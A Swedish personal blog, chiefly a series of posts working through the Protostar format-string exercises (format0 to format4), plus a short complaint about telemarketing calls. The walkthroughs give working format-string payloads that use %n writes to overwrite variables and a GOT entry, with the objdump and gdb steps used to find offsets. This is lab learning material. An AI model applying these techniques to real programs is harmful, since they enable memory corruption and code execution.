Dialect ringer hela jäkla tiden

Är det fler personer som är trötta på att dialect ringer och vill sälja in en massa mög hela tiden.

Det är alltid ett par nya abonnemang eller något annat i princip mög.

Det hjälper inte att blockera deras nummer för de ringer från nya hela tiden. Så har mailat dialect och sagt att de ska ta bort mig från sina ringlistor. Får se vad de säger åt det.

Publicerat i Okategoriserade | Lämna en kommentar

Format strings vuln och Protostar

Var ett roligt kapitel av Exploit Exercises.

Och för er som vill läsa om både buffer overflows och format strings vuln och mycket annat så kan jag rekommendera
Art of exploitation 2nd edition. Ger en bra grund för exploitation och hur det fungerar med bra exempel.

SÅ sätt igång och läs redan idag 😉

Men nu så har jag inte riktigt tid de närmsta dagarna och fixa med heap overflows så det får bli när det väl finns tid. Men förhoppningvis har jag lite tid över för det nu i sommar.

Publicerat i Okategoriserade | Lämna en kommentar

Format 4 och Protostar

Format 4 från protostar

Ok nu ska vi i princip göra samma sak som i 4’an vi ska bara redirecta lite anrop till funktioner och peta in pekaren till

hello-funktionen.

Men det får bli en annan gång för nu orkar jag inte sitta med detta mer idag :)

Ok då var det dags igen.

Samma sak som innan. Vi skriver över med plats 4
user@protostar:/opt/protostar/bin$ for i in {1..150} ; do echo ”AAAA%$i\$x” | ./format4 ; echo -n ”$i” ; done |grep 4141
3AAAA41414141
user@protostar:/opt/protostar/bin$
(Fel på räknarne så det blir plats 4).

void hello()
{
printf(”code execution redirected! you win\n”);
_exit(1);
}

void vuln()
{
char buffer[512];

fgets(buffer, sizeof(buffer), stdin);

printf(buffer);

exit(1);
}

Så ser koden ut så att vi ska se om vi inte kan trycka in pekare till hello funktionen istället för exit.

Så då letar vi upp sakerna.

user@protostar:/opt/protostar/bin$ objdump -R format4 |grep exit
08049718 R_386_JUMP_SLOT _exit
08049724 R_386_JUMP_SLOT exit
Så då ska vi skriva till 08049724 och där ska vi skriva

user@protostar:/opt/protostar/bin$ objdump -t format4 |grep hello
080484b4 g F .text 0000001e hello

pekaren till hello som är 080484b4

Ok, nu ska vi göra det 1 byte i taget istället för som förra där vi skrev över 2 byte i taget.

Så vi testar att skriva något till den adressen för att se vilket värde där finns (Får vi en seg fault så blir det lättare

att titta på det, annars får vi köra i gdb).
SÅ som root kör vi echo ”2” >/proc/sys/fs/suid_dumpable

Och sen ulimit -c unlimited och så testar vi.

echo `perl -e ‘print ”\x24\x97\x04\x08″ . ”\x25\x97\x04\x08″ . ”\x26\x97\x04\x08″ . ”\x27\x97\x04\x08″. ”%4\\$n%5\\$n%6\

\$n%7\\$n”‘` | ./format4

Sen kör vi lite gdb (som root)
root@protostar:/tmp# gdb –core /tmp/core.11.format4.2311
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type ”show copying”
and ”show warranty” for details.
This GDB was configured as ”i486-linux-gnu”.
For bug reporting instructions, please see:
.
Core was generated by `./format4′.
Program terminated with signal 11, Segmentation fault.
#0 0x10101010 in ?? ()
(gdb) x/1x 0x
Invalid number ”0x”.
(gdb) x/1x 0x08049724
0x8049724: 0x10101010

Ok så nu i 0x08049724 finns det 0x10101010 som ska bli 080484b4

Vi börjar med att slänga in första talet som ska vara b4’a. Så vi slänger in 164

echo `perl -e ‘print ”\x24\x97\x04\x08″ . ”\x25\x97\x04\x08″ . ”\x26\x97\x04\x08″ . ”\x27\x97\x04\x08″. ”%164x%4\\$n%5\\

$n%6\\$n%7\\$n”‘` | ./format4

Sen för andra värdet så ska vi ha 84.
Vi har slängt in xb4 och ska ha 0x84
Så då kör vi följande i gdb
(gdb) p 0x84 – 0xb4
$1 = -48
(gdb) p 0x184 – 0xb4
$2 = 208

Eftersom det blir -48 den första så får vi lägga till så att vi ska lägga till en 1’a på 0x84 så det blir en integer mer

och inte blir minus.

echo `perl -e ‘print ”\x24\x97\x04\x08″ . ”\x25\x97\x04\x08″ . ”\x26\x97\x04\x08″ . ”\x27\x97\x04\x08″. ”%164x%4\\$n

%208x%5\\$n%6\\$n%7\\$n”‘` | ./format4

Tredje värdet blir
(gdb) p 0x04 – 0x84
$3 = -128
(gdb) 0x104 – 0x84
Undefined command: ”0x104″. Try ”help”.
(gdb) p 0x104 – 0x84
$4 = 128
SÅ den blir 128

echo `perl -e ‘print ”\x24\x97\x04\x08″ . ”\x25\x97\x04\x08″ . ”\x26\x97\x04\x08″ . ”\x27\x97\x04\x08″. ”%164x%4\\$n%208x

%5\\$n%128x%6\\$n%4x%7\\$n”‘` | ./format4

Fjärde siffran ska vara
(gdb) p 0x08 – 0x04
$5 = 4
(gdb) 0x108-0x04
Undefined command: ”0x108-0x04″. Try ”help”.
(gdb) p 0x108-0x04
$6 = 260
Eftersom 4’a inte fungerade det blev för mycket och skulle vara 08 så får vi runda den igen och då blir den 260
echo `perl -e ‘print ”\x24\x97\x04\x08″ . ”\x25\x97\x04\x08″ . ”\x26\x97\x04\x08″ . ”\x27\x97\x04\x08″. ”%164x%4\\$n

%208x%5\\$n%128x%6\\$n%260x%7\\$n”‘` | ./format4

user@protostar:/opt/protostar/bin$ echo `perl -e ‘print ”\x24\x97\x04\x08″ . ”\x25\x97\x04\x08″ . ”\x26\x97\x04\x08″ .

”\x27\x97\x04\x08″. ”%164x%4\\$n%208x%5\\$n%128x%6\\$n%260x%7\\$n”‘` | ./format4
$%&’

200

b7fd8420

bffff614

8049724
code execution redirected! you win
Så då var format strings testerna klara.

Får gå vidare med heap overflows lite senare.

Publicerat i Okategoriserade | Lämna en kommentar

Format 3 och Protostar

Format3

Format 3 övningen för protostar.

Så största skillnaden är att nu ska target vara mer än 1 byte.
Och det ska vara
if(target == 0x01025544) {

Ok för att leta upp vart vi ska skriva
user@protostar:/opt/protostar/bin$ for i in {1..150} ; do echo ”AAAA%$i\$x” | ./format3 ; echo -n ”$i” ; done |grep 4141
11AAAA41414141
Ok så 12’e dword enheten hittade vi vår 4444.

Så då vet vi det då :)
Så nu är frågan om vi ska göra 1 bytes överskrivningar eller 2 byte överskrivningar. Och eftersom 2 byte är mindre

skrivande så gör jag 2 byte överskrivningar 😉

user@protostar:/opt/protostar/bin$ objdump -t format3 |grep target
080496f4 g O .bss 00000004 target
user@protostar:/opt/protostar/bin$

Target finns då på 080496f4
Och värdet ska vara 0x01025544

Vi testar att skriva till det med två skrivingarn och ser vad värdet är.

echo `perl -e ‘print ”\xf4\x96\x04\x08″ . ”\xf6\x96\x04\x08″ . ”%12\\$n%13\\$n”‘` | ./format3

user@protostar:/opt/protostar/bin$ echo `perl -e ‘print ”\xf4\x96\x04\x08″ . ”\xf6\x96\x04\x08″ . ”%12\\$n%13\\$n”‘` |

./format3
target is 00080008 :(
user@protostar:/opt/protostar/bin$
Ok då behöver vi ändra den första

Så första skrivningen ska vara 5544 och är idag 0008

Hex 5544 = 21828 dec

0008 = 8
så 21828 – 8 = 21820
så då slänger iväg
echo `perl -e ‘print ”\xf4\x96\x04\x08″ . ”\xf6\x96\x04\x08″ . ”%21820x%12\\$n%13\\$n”‘` | ./format3

Får tillbaka

target is 55445544 :(
user@protostar:/opt/protostar/bin$
Ok då behöver göra om 5544 till 0102 och eftersom vi redan skrivit mer än 0102 som är 258 dec så behöver vi skriv in mer

för en integer på 2 byte att rulla över. Och max en unsigned 2 byte integer är 65535
Så vi testar att köra
65535 – 21820 + 258 = 43995 så får vi se vad det blir :)
echo `perl -e ‘print ”\xf4\x96\x04\x08″ . ”\xf6\x96\x04\x08″ . ”%21820x%12\\$n%43973x%13\\$n”‘` | ./format3
bffff5d0
target is 01095544 :(
Sen har vi ju redan skrivit lite bytes så då får vi ändra igen :)

echo `perl -e ‘print ”\xf4\x96\x04\x08″ . ”\xf6\x96\x04\x08″ . ”%21820x%12\\$n%43966x%13\\$n”‘` | ./format3

bffff5d0
you have modified the target :)
Så nu fungerade det :)

Ok då ska vi påbörja format4

Publicerat i Okategoriserade | Lämna en kommentar

Format 2 och Protostar

Format2

Så då var det dags för format2 på protostar övningarna.

int target;

void vuln()
{
char buffer[512];

fgets(buffer, sizeof(buffer), stdin);
printf(buffer);

if(target == 64) {
printf(”you have modified the target :)\n”);
} else {
printf(”target is %d :(\n”, target);
}
}

Enligt koden så är den största skillnaden att nu finns det en buffert där man läser in via fgets
och sen printf buffern. Sen måste target vara 64. Så då ska vi skriva ett exakt värde i target.
Jaja vi påbörjar på samma sätt som innan

user@protostar:/opt/protostar/bin$ for i in {1..150} ; do echo ”AAAA%$i\$x” | ./format2 ; echo -n ”$i” ; done |grep 4141
3AAAA41414141
user@protostar:/opt/protostar/bin$

Fast samma sak som innan om man tittar nu så är det fel igen med räknaren. Fast nu åt andra hållet.
Nu ska det vara 4 istället för 3 😉

AAAA200
target is 0 :(
1AAAAb7fd8420
target is 0 :(
2AAAAbffff614
target is 0 :(
3AAAA41414141
Raden under visar vilken man är på. Så i detta fal är AAAA på 4’an.

Så då ska vi använda oss av plats 4’a för att skriva ut target och fylla på target med 64

objdump -t format2 |grep target
user@protostar:/opt/protostar/bin$ objdump -t format2|grep target
080496e4 g O .bss 00000004 target
user@protostar:/opt/protostar/bin$
Ok då vet vi att target finns på 080496e4

Så vi testar med
user@protostar:/opt/protostar/bin$ echo `perl -e ‘print ”\xe4\x96\x04\x08″ . ”%4\\$n”‘` | ./format2

target is 4 :(

Target är 4’a vilket är en början. Då ska vi bara slänga till 60x innan så blir det 64’a :)
user@protostar:/opt/protostar/bin$ echo `perl -e ‘print ”\xe4\x96\x04\x08″ . ”%60x%4\\$n”‘` | ./format2
200
you have modified the target :)
user@protostar:/opt/protostar/bin$
Så då har vi satt att target är 64’a och då exekveras
if(target == 64) {
printf(”you have modified the target :)\n”);

Så det var format2

Publicerat i Okategoriserade | Lämna en kommentar

Format 1 och Protostar exploit

Format1

Så nu är det dags för format1 på protostar.

OCh nu ser det lite annorlunda ut.

#include
#include
#include
#include

int target;

void vuln(char *string)
{
printf(string);

if(target) {
printf(”you have modified the target :)\n”);
}
}

int main(int argc, char **argv)
{
vuln(argv[1]);
}

Target finns inte inne i vuln. Så det blir lite svårare att hitta.

Ledtråden är objdump -t

Och enligt objdump -t så finns target på
08049638 g O .bss 00000004 target

Så då är det den vi ska sätta då. Då får vi leta upp vart i minnet vi hittar vad vi trycker in via format1

./format1 `perl -e ‘print ”AAAA” . ”%x.”x200’` |sed -e ”s/\./\\`echo -e ‘\n\r’`/g”

Och sen greppar vi 4141 så hittar vi en rad. Men det ser inte helt alignat ut.
41414100

Så ändrar lite och slänger till B efter
./format1 `perl -e ‘print ”AAAAB” . ”%x.”x200’` |sed -e ”s/\./\\`echo -e ‘\n\r’`/g” |grep 4141
41414141
user@protostar:/opt/protostar/bin$

Ok då ska vi bara hitta exakt vilken position det finns på

Och vi kom fram till att vi behövde AAAABBB för att få det till plats 131
user@protostar:/opt/protostar/bin$ for i in {1..150} ; do echo ”\n$i:” ; ./format1 ”AAAABBB%$i\$x” ; done |grep 4141
AAAABBB41414141\n131:

Fast när jag tittar igenom så ser jag att jag printat ut det fel. Så det som printas ut är ett nummer extra :)

Så i mitt fall så är det jag hittar AAAABBB41414141 på rad 130

Så är det ibland när man gör fulhack. Som tur väl var så tog det itne så lång tid innan jag hittade felet 😉

Och nu ska vi binda ihop det hela.

Target finns på 08049638 g O .bss 00000004 target

Så då ska vi helt enkelt skriva något till minnesaddressen istället för att visa det på skärmen.
Och det gör vi genom att trycka in $n till \x38\x96\x04\x08 (Little endian)

./format1 `perl -e ‘print ”\x38\x96\x04\x08″ . ”BBB%130\\$n”‘`

Och det blir
user@protostar:/opt/protostar/bin$ ./format1 `perl -e ‘print ”\x38\x96\x04\x08″ . ”BBB%130\\$n”‘`
8BBByou have modified the target :)
user@protostar:/opt/protostar/bin$

Publicerat i Okategoriserade | Lämna en kommentar

Protostar Format 0 exploit

Protostar Format strings exploitation

Så nu börjar vi med format0

Och enligt källkoden så står det

volatile int target;
char buffer[64];

target = 0;

sprintf(buffer, string);

Så vi har en buffer på 64 och sen det vi skriver över bufferten fyller vi på i target.

Så egetnligen skulle vi kunna göra
user@protostar:/opt/protostar/bin$ ./format0 `perl -e ‘print ”A”x64 . ”\xef\xbe\xad\xde”‘`
you have hit the target correctly :)

Men eftersom vi inte skulla ha så lång input, inputen skulle max vara 10 bytes och vi skulle exploitera format strings

This level should be done in less than 10 bytes of input.
“Exploiting format string vulnerabilities”

Så får vi väl ta och fixa det.

Så vi vet att vi ska skriva efter 64 bytes.

Så vi ändrar att vi vill skriva efter 64 bytes.
./format0 `perl -e ‘print ”%64s” . ”\xef\xbe\xad\xde”‘`

user@protostar:/opt/protostar/bin$ ./format0 `perl -e ‘print ”%64s” . ”\xef\xbe\xad\xde”‘`
you have hit the target correctly :)
user@protostar:/opt/protostar/bin$

Och tar man bort perl tjofräset så blir inputen 8 byte. Så då klarade vi 10 bytes gränsen.

Så raskt vidare till format1

Publicerat i Okategoriserade | Lämna en kommentar